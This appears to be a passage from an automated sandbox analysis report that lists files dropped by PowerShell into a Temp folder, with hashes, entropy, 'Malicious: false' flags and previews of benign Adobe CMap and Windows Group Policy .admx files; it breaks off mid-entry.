Size (bytes):	2761
Entropy (8bit):	5.338925731793176
Encrypted:	false
SSDEEP:	48:7alblVd2UZOSrYJQrYJLL4dhPn/32sNGFt3Ehov1JTYHeGTy9UWT/D/:QJVd2UMSrYJQrYJLWl/3gF9M+uy9Uk/
MD5:	B5084CBF0AB0C3DEAC97E06CD3CB2ECC
SHA1:	C32458CDA1951CECFFB69AA2F7E3A1EA8BF36251
SHA-256:	7483DB44E4449A7AE232B30D6CBA0D8746592757D0E91BE82EC45B646C608807
SHA-512:	B15F65A2AB21121A4B815932A7E2DCAFCF27F458BCE532AE46BBCBD6B1134153027BF3E138FAB42457A89BC892256B4796BBB9F1E3A85F9F4C5202015B56E3A5
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-V)..%%Title: (Identity-V Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\UCS2-GBK-EUC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	243835
Entropy (8bit):	4.336925781445846
Encrypted:	false
SSDEEP:	6144:JAYrjXraHOiu06s7SSC2RGaC4J7G27r7Sbtg2j35GEE9:JAYrj7aHOip6rShXC4J7G27r7Sbtg2j0
MD5:	FB9D6CD4449EC7478EE8AD1BD7465BF5
SHA1:	3D42495890E0F2ACC6B564EAA79FE020FDD2FC79
SHA-256:	66CDCAED3AA94525C59A82A39A93B96885883BFFADEA1E572464D559D21443A6
SHA-512:	259467113CDA70BA8D399E233BEF8A718F76BC6B977AC54C216BD53796A8003E7A7276031388E282F1F4430FC2FCD269B06341F2082A9442A65BBCCDEB767EB1
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UCS2-GBK-EUC)..%%Title: (UCS2-GBK-EUC)..%%Version: 4.002..%%Copyright: -----------------------------------------------------------..%%Copyright:..%%Copyright: Copyright 1990-2002 Adobe Systems Incorporated. All Rights Reserved...%%Copyright:..%%Copyright: PostScript and Display PostScript are trademarks of..%%Copyright: Adobe Systems Incorporated which may be registered in..%%Copyright: certain jurisdictions...%%Copyright: -----------------------------------------------------------..%%..%% This is not a CMap file. This file is intended to be used by Adobe Acrobat or..%% licensee of the Adobe PDF Library...%%EndComments..../CIDInit /ProcSet findresource begin....12 dict begin....begincmap..../CIDSystemInfo 3 dict dup begin.. /Registry (Adobe) def.. /Ordering (UCS2_GBK_EUC) def.. /Supplement 2 def..end def..../CMapName /UCS2-GBK-EUC def../CMapVersion

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\UniKS-UTF16-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	131902
Entropy (8bit):	4.421890291466171
Encrypted:	false
SSDEEP:	3072:EbOks6xITS4gmLJpAEhFDDvBB4TS+JjXsc:jjTvIN3
MD5:	F65C06189A55139E13885D9716BFE35C
SHA1:	394285FED905D0F4C2C21230DA50626B0A31A037
SHA-256:	AB87D320C81E4C761B7A4CBD342E212DB4EBE169B5D10848F2F57D828874E342
SHA-512:	CAF07D2623861F60D79ACFB313978B89F9CD8FEEA0BED0FE28D25286D197B62B9EF9A41130586D731DC43AEAE817EAAA87C9CAC31D9BD1FDB82591146E0FA2CB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UniKS-UTF16-H)..%%Title: (UniKS-UTF16-H Adobe Korea1 1)..%%Version: 1.005..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2012 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyrigh

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\UniKS-UTF16-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	3198
Entropy (8bit):	5.524396355467385
Encrypted:	false
SSDEEP:	96:Qdu2JMSrYJQrYJLWl/3gF9M+uyu5UV3tNmc/:QdiSrsQrsil/3gU+uF549NmU
MD5:	ABA47550AFFB435A1DCC6B70EFAB5B52
SHA1:	754168E2C3B58FCFCB57B3ECF5CA5EEBDDFA1F47
SHA-256:	7E403DAE40DF21FE3F9B221F7CE750F7F5BFF9CC73D82D011C4BCC48A0DB60ED
SHA-512:	D46537B67EF7137FC0B715E43F23322DD1189DB352235A4A5AD89CB6AF3D3FECAA51C1C93DCEA2A7E8FB8D25B18C3B0F2AB2F23DF7A5A76126A47389FFAC00B2
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%DocumentNeededResources: CMap (UniKS-UTF16-H)..%%IncludeResource: ProcSet (CIDInit)..%%IncludeResource: CMap (UniKS-UTF16-H)..%%BeginResource: CMap (UniKS-UTF16-V)..%%Title: (UniKS-UTF16-V Adobe Korea1 1)..%%Version: 1.002..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the

C:\Users\user\AppData\Local\Temp\file\Resource\COM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	5.360891882439581
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtyC6f/0s6fE3+ZKjcpLdCGVh8C9/pIZdCGVh8C9Q:3geDw08gmD9Hf/ofT5/j8C9/W7j8C9Q
MD5:	9C0A8BAAD6945DCB12CEA12782C999DB
SHA1:	317495F2FF5982C714D6961D828B3D4ED81D9E93
SHA-256:	8BD010FB4A3C0DBCF88D55D2A1E68F46298655CDBB6AF5040E17D023E8E12961
SHA-512:	B50B299CFE21BBAD4282F7B0ED5D65EAA0C182B2CD1BF41DFBC6362D29CE04217B42C11255A67FA757A91DB9CAEFA89CF708C04CF46377FD261868D1612EBF89
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="com" namespace="Microsoft.Policies.COM" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="AppMgmt_COM_SearchForCLSID_1" class="User" displayName="$(string.AppMgmt_COM_SearchForCLSID)" explainText="$(string.AppMgmt_COM_SearchForCLSID_Help)" key="Software\Policies\Microsoft\Windows\App Management" valueName="COMClassStore">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. </policy>.. <policy name="AppMgmt_COM_SearchForCLSID_2" class="Machine" displayName="$(

C:\Users\user\AppData\Local\Temp\file\Resource\CipherSuiteOrder.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1361
Entropy (8bit):	5.210577733754264
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKty3l6fA0s6fE3+MK9lKUzDoinXmPhp8gGtLuQVqKzIeywn:3geDw08gmD934fAofKKnKUzVC5CVqKzx
MD5:	C7A92A7F280CE7CC1544B4D88D6E0ECA
SHA1:	F34588E56C0654B5CEDC56122EE82B4C180C06DE
SHA-256:	3C33417B0F88ADD2FE5F6EB0A84CF8C9B7C901A3D2B2141F6EDABEA29A3A4FEC
SHA-512:	1BAA550ADAC03D34431384B95EDD888407F37679DCFC634A67364E5023C8884BD0E3F3D0D0F3EECF6DB3CBCFDBE5D3100B1A252BD39169FB20EAB001AA9B3FDB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="cypherstrength" namespace="Microsoft.Policies.CypherStrength" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. .. <categories>.. <category name="SSLConfiguration" displayName="$(string.SSLConfiguration)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. .. <policies>.... Example policy setting with EditText-->.. <policy name="SSLCipherSuiteOrder" class="Machine" displayName="$(string.SSLCipherSuiteOrder)" explainText="$(string.SSLCipherSuiteOrder_Help)" presentation="$(presentation.SSLCiphe

C:\Users\user\AppData\Local\Temp\file\Resource\Conf.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	13967
Entropy (8bit):	5.098137720812558
Encrypted:	false
SSDEEP:	384:kFpdiM7YHKDBQAAsvVFjV5r1asrGGY8/ZoizEkQae+e6TvWLRqjow5XsO:RZobFfemOtql
MD5:	82A127FAFCE34ACE4D2E18757D99D54B
SHA1:	7C11E69BF3F2CFCFEB4E245D13DA04F0552EE50B
SHA-256:	5349E6E1009AF94B7A2514AF9E0A8297071ECC681289BF849D7F6C365C820371
SHA-512:	B8A1283FA9F0E0CBC0D9B5F9C408DE8CD821702BB78E0E969CF4443026D26248DD32F14C3DCF55F3D2A29A74F31619630F1511AE8A8E814AE87B72E1A713A2F2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="conf" namespace="Microsoft.Policies.NetMeeting" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="conf.adm" />.. <resources minRequiredRevision="1.0" />.. .. <supportedOn>.. <definitions>.. at least Windows NetMeeting v3.0-->.. <definition name="SUPPORTED_NetMeeting3" displayName="$(string.SUPPORTED_NetMeeting3)">.. <or>.. <range ref="products:NetMeeting" minVersionIndex="3" />.. </or>.. </definition>.. </definitions>..

C:\Users\user\AppData\Local\Temp\file\Resource\ControlPanel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	5.10557157797632
Encrypted:	false
SSDEEP:	48:3geDw08gmD9XfhofT5zBP2/PIAdowJVOW1eI6dmdEIUd/YPIbdowcONC:QeD/mD1po752IZwzOW1eIrdEIYqImwct
MD5:	55C232A1F1E28A13BDECE35CB91475FD
SHA1:	BB45602A3D8A039B10D5F85DE59A75A67C9E59F5
SHA-256:	B82D3B7A78188866981C9BC730D9C948ABBCFD5D7F308F2BDFE5DC336DA3ED45
SHA-512:	12E8D013273A8F38C7E47CCF34E2C5715F38225674578A0C05A61D91F814395804556CBC0957DE2B7EABB78F6AA9685BCF9037836738BDE4157C9BA7AF244BDD
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="controlpanel" namespace="Microsoft.Policies.ControlPanel" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DisallowCpls" class="User" displayName="$(string.DisallowCpls)" explainText="$(string.DisallowCpls_Help)" presentation="$(presentation.DisallowCpls)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="DisallowCpl">.. <parentCategory ref="windows:ControlPanel" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. <elements>.. <list id="DisallowCplsList" key="Soft

C:\Users\user\AppData\Local\Temp\file\Resource\ControlPanelDisplay.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	14442
Entropy (8bit):	4.982067975645745
Encrypted:	false
SSDEEP:	384:Z96Fhm1nRUOxrlAikOgH1JNpfjzGf5BSkypKajb1P7TmbuC:5R1ZcryRnK1jyCC
MD5:	23C09EFF5EE9481AEE2156D2195E47F8
SHA1:	391AB345F9A461346C129F29C01501FC4B7E11F3
SHA-256:	AF375FD76DBE159680B7DD6B3950FCFFE89AB0F5196FD308AC8A6936B946B00F
SHA-512:	70A0B165A73417FE253BB4B5B7D449AA3716C71339E560C3970003F80D16A4A22F468412FECA41EB761E177AC0DE640795EAC45F58C943C42F4D4601A6B01EA5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0".. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="controlpaneldisplay" namespace="Microsoft.Policies.ControlPanelDisplay" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Display" displayName="$(string.Display)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. <category name="Personalization" displayName="$(string.Personalization)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. Display CPL -->.. <policy name="CPL_Display_Disable" class="User"..

C:\Users\user\AppData\Local\Temp\file\Resource\Cpls.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1293
Entropy (8bit):	5.152610499195081
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtyV6fQi0s6fE3+dK9lK1F9upKjcp1CowV18jSfBe++2hJq:3geDw08gmD9IfzofHKnK9W5+ZIGfBhq
MD5:	D02917E78F1B9741E0324184F2141D70
SHA1:	94BA3EE688F09EF2661F2A3A6A3F1931A6C83D8A
SHA-256:	BAF7ECADE873F8252D748C23616F25585965266A0C9EA0627A8963CB5969F67D
SHA-512:	430313A4D22C964BF03D0474CFBE405F7DC6F4185BBB4501E19F360AD0A55B90D485A53F82B9EA51026117566043822221C52ECB334111E1BF13B90207F11ED5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="cpls" namespace="Microsoft.Policies.ControlPanel2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Users" displayName="$(string.Users)" explainText="$(string.Users_Help)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. <policy name="UseDefaultTile" class="Machine" displayName="$(string.UseDefaultTile)" explainText="$(string.UseDefaultTile_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="UseDefaultTile">.. <pare

C:\Users\user\AppData\Local\Temp\file\Resource\CredSsp.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (368), with CRLF line terminators
Category:	dropped
Size (bytes):	12449
Entropy (8bit):	4.852083577860779
Encrypted:	false
SSDEEP:	384:lYb1mXVJCmDDtymXELfmHG+3mjJ6emRH4WmxE6Rm5hfsmZIiYKC:eglZ3pUim3VaBSGrHx7ZC
MD5:	A64D7915DCC7B455E17EBDB1A59AB9A2
SHA1:	89009F29C53D6F52A91B34DEA7145DF4CA676C71
SHA-256:	BEE7D13B033EB4B0F9ADCCDE362DEA3C9A0F6A78745F40E85FBFE954564ABE88
SHA-512:	B2B2F0687BF80C58ACA5B97AE81C08D119C145937CDE8F3E2CD8427804CDE23B0F80088F261FEFE842E3F503CCF1BE98FC8257BC82EE125CAF9C8173BF87082B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="credssp" namespace="Microsoft.Policies.CredentialsSSP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CredentialsDelegation" displayName="$(string.CredentialsDelegation)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AllowDefaultCredentials" class="Machine" displayName="$(string.AllowDefaultCredentials)" explainText="$(string.AllowDefaultCredentials_Explain)" presentation="$(presentation.AllowDefaultCredentials)" key="Software\Policies\Mic

C:\Users\user\AppData\Local\Temp\file\Resource\CredUI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2254
Entropy (8bit):	5.1667101842062
Encrypted:	false
SSDEEP:	48:3geDw08gmD9AfOwQofHKnK4oQ5mDUDU7hufhd3DvXhZfMTqEmfYq:QeD/mD2GwQovKnKS5B47hIdbhS2Ehq
MD5:	74E5A031B42CF1D268EDE3B675234A38
SHA1:	C713C3CFFE727E0B9DF57A3C34E775B3F2CE51AC
SHA-256:	B3708A1B26DE928D8700D4FBD9DB6F7EEA79F0A6E05A5A0929350579494017CC
SHA-512:	88783F017E38E9A55F96874B1DE1FB20030AF3E8406511335EE44CCCAB9D372C772215027333545F93EABD70B6E578945351B04A9CC103A33ED3EE824098C5E1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="credui" namespace="Microsoft.Policies.CredentialsUI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CredUI" displayName="$(string.CredUI)" explainText="$(string.CredUI_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="EnumerateAdministrators" class="Machine" displayName="$(string.EnumerateAdministrators)" explainText="$(string.EnumerateAdministrators_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\CredUI" value

C:\Users\user\AppData\Local\Temp\file\Resource\CredentialProviders.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3465
Entropy (8bit):	5.1336857667776385
Encrypted:	false
SSDEEP:	96:QeD/mD1GsHowNmKnK95qg10kwNy1ypjfEEkw9aCdw1htn0dTSXntd/n3oq:vYIsHlo+NyopjfE29aCdwzRgS3z1
MD5:	D96F90B4D57C16341985C99BC1E6F8A0
SHA1:	E31AFBD7A9A22E13A60167B5086B198E628C185D
SHA-256:	E0E27CF340F169CAE76BA2B6F0B16A5314E831B9EBC18F5C737C6D40CDA528CB
SHA-512:	79351ADB28AF640BDEAAE3807BFFEFD4B6B6C31AD6EED802B1F1414EDCBEE828E037B38269E5D1C1E4BF6A5B6F31E127DA3A7360E60FE32868433287B78D6E68
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="credentialproviders" namespace="Microsoft.Policies.CredentialProviders" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="logon" namespace="Microsoft.Policies.WindowsLogon" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Logon" displayName="$(string.Logon)">.. <parentCategory ref="logon:Logon" />.. </category>.. </categories>.. <policies>.. <policy name="DefaultLogonDomain" class="Machine" displayName="$(string.DefaultLogonDomain)" explainText="$(string.DefaultLogonDomain_Help)" presentation="$(presentation.DefaultLogonDo

C:\Users\user\AppData\Local\Temp\file\Resource\CtrlAltDel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2141
Entropy (8bit):	5.242806080914578
Encrypted:	false
SSDEEP:	48:3geDw08gmD9XfTofHKnK025/aPD/eawD/ranD/yImDQ:QeD/mDd7ovKnKp5/azeaWraryI7
MD5:	3106CD8D0D9E3054049605023AB99E96
SHA1:	EDA64046CB41BD2F52CBCB921714A302FCF3AEC5
SHA-256:	7499B18863D6C9A9EB8D67139EAC1633B68825DC2387F864C7771C8BBBB64D5E
SHA-512:	3EFD2F280398AA214A5F0F2B2CF108E739D1D8CCCCB96A08C6F38B2E9D6F0ACD08F919FDD669C9E2251A75B15ED069C5EA78521A8DA379A674C518B14A1E4D3A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ctrlaltdel" namespace="Microsoft.Policies.ControlAltDelete" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CADOptions" displayName="$(string.CADOptions)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DisableChangePassword" class="User" displayName="$(string.DisableChangePassword)" explainText="$(string.DisableChangePassword_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System" valueName="DisableChangePassword">.. <par

C:\Users\user\AppData\Local\Temp\file\Resource\DCOM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (411), with CRLF line terminators
Category:	dropped
Size (bytes):	2437
Entropy (8bit):	5.208801219282588
Encrypted:	false
SSDEEP:	48:3geDw08gmDRfoofHKnKzV2gKa15tlVzs7hTdKlM7ksthTGwT30ZqC:QeD/mDRAovKnK5DKg5lsFdysrGwT30YC
MD5:	5FBC0FD72D7540517356AD9A2F09CDFF
SHA1:	23306716C1D059F81D866906FF0A54EB603C8568
SHA-256:	B51EDA8A4E726F6EB25FC5FC68133FCA27E59C2D2617FAD03C0879417E1FD525
SHA-512:	ADDCD59E4A56AAC98BEADE365F6AA22DD4862AF744A83EA0B845564A2DECEB2821A1BF72672A0869E711FA53E965B4238B999BFE77B932CB3ADB4968A68C69A1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dcom" namespace="Microsoft.Policies.DECOM" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DCOM" displayName="$(string.DCOM)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="DCOMAppCompatPolicies" displayName="$(string.DCOMAppCompatPolicies)">.. <parentCategory ref="DCOM" />.. </category>.. </categories>.. <policies>.. <policy name="DCOMActivationSecurityCheckAllowLocalList" class="Machine" displayName="$(string.DCOMActivationSecurityCheckAllowLocalList)" ex

C:\Users\user\AppData\Local\Temp\file\Resource\DFS.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1093
Entropy (8bit):	5.233888768071789
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtz6fNc0s6fE3+ZKjcpQgulrIh4AwnP/vC:3geDw08gmDffNcofT5RarIh4AwP3C
MD5:	1E14FF4F0123BC8FBAA9BCC5C1AB18E9
SHA1:	273C356FFCD1663C83A2B0072FB06049547F8AEF
SHA-256:	0226FCEBA7FB8200475A1762F4E86603EB9E41C42FC1AB21770846A12D47C9DB
SHA-512:	1653025ED21C28B0B4DB6C8820AB3E29376EA47B0101EADC8C0CC920C7BD703EDB54DC6C8295950C8F81B147826AB81AC5E514A164FAF326EB6FA0C3E84A9035
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dfs" namespace="Microsoft.Policies.DistributedFileSystem" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DFSDiscoverDC" class="Machine" displayName="$(string.DFSDiscoverDC)" explainText="$(string.DFSDiscoverDC_Help)" presentation="$(presentation.DFSDiscoverDC)" key="Software\Policies\Microsoft\System\DFSClient">.. <parentCategory ref="windows:Network" />.. <supportedOn ref="windows:SUPPORTED_WindowsXP" />.. <elements>.. <decimal id="DFSDiscoverDialog" valueName="DfsDcNameDelay" minValue="1

C:\Users\user\AppData\Local\Temp\file\Resource\DWM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (325), with CRLF line terminators
Category:	dropped
Size (bytes):	7149
Entropy (8bit):	5.103552380538948
Encrypted:	false
